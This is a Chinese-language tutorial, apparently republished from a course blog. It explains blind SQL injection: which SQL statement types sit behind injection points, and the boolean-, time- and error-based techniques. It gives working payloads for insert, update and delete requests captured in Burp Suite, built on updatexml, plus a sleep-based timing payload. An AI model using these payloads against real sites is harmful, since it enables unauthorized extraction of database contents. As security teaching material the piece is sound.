标签：WEB 小迪 database ascii 报错 SQL news 盲注 id

当进行SQL注入时，有很多注入会出现无回显的情况，其中不回显的原因可能是SQL语句查询方式的问题导致，这个时候我们需要用到相关的报错或盲注进行后续操作，同时作为手工注入时，提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

SQL语句

select 查询数据 
在网站应用中进行数据显示查询操作 
例：select * from news where id=$id 
 
insert 插入数据 
在网站应用中进行用户注册添加等操作 
例：insert into news(id,url,text) values(2,'x','$t') 
 
delete 删除数据 
后台管理里面删除文章删除用户等操作 
例：delete from news where id=$id 
 
update 更新数据 
会员或后台中心数据同步或缓存等操作 
例：update user set pwd='$p' where id=2 and username='admin' 
 
order by 排序数据 
一般结合表名或列名进行数据排序操作 
例：select * from news order by $id 
例：select id,name,price from news order by $order 
 
重点理解： 
我们可以通过以上查询方式与网站应用的关系 
注入点产生地方或应用猜测到对方的SQL查询方式 

SQL注入盲注

盲注就是在注入过程中，获取的数据不能回显至前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。我们可以知道盲注分为以下三类：

1. 基于布尔的SQL盲注-逻辑判断
   regexp,like,ascii,left,ord,mid
2. 基于时间的SQL盲注-延时判断
   if,sleep
3. 基于报错的SQL盲注-报错回显
   floor，updatexml，extractvalue
   https://www.jianshu.com/p/bc35f8dd4f7c

使用顺序：3 -> 1 -> 2

参考： 
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等 
if(条件,5,0)           #条件成立 返回5 反之 返回0 
sleep(5)              #SQL语句延时执行5秒 
mid(a,b,c)            #从位置b开始，截取a字符串的c位 
substr(a,b,c)         #从b位置开始，截取字符串a的c长度 
left(database(),1)，database() #left(a,b)从左侧截取a的前b位 
length(database())=8  #判断数据库database()名的长度 
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97 

案例

1. insert

1. 进行注册，burp抓包
   
   

2. 发送到repeater
   修改数据为

username=1' or updatexml(1, concat(0x7e, database(), 0x7e), 0) or '&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit

2. update

1. 注册成功后，登录，点击修改个人信息
   
2. 提交抓包， 发送到repeater
   
3. 修改数据

sex=a' or updatexml(1, concat(0x7e, database(), 0x7e), 0) or '&phonenum=a&add=a&email=a&submit=submit

3. delete

1. 随便留言，然后点击删除，抓包
   
2. 修改数据

 or updatexml (1,concat(0x7e,datebase()),0)
在BurpSuite中需要进行url编码，将空格改为 + 或20%
可使用 Ctrl+U 

4. 时间盲注

if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ 
如果database()的第一个字符的ascii码值为115，sleep5秒
了解if(a,b,c)，sleep(x)，substr(),mid(),left()等的使用

标签：WEB,小迪,database,ascii,报错,SQL,news,盲注,id
来源： https://blog.csdn.net/qq_42591058/article/details/122177822

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。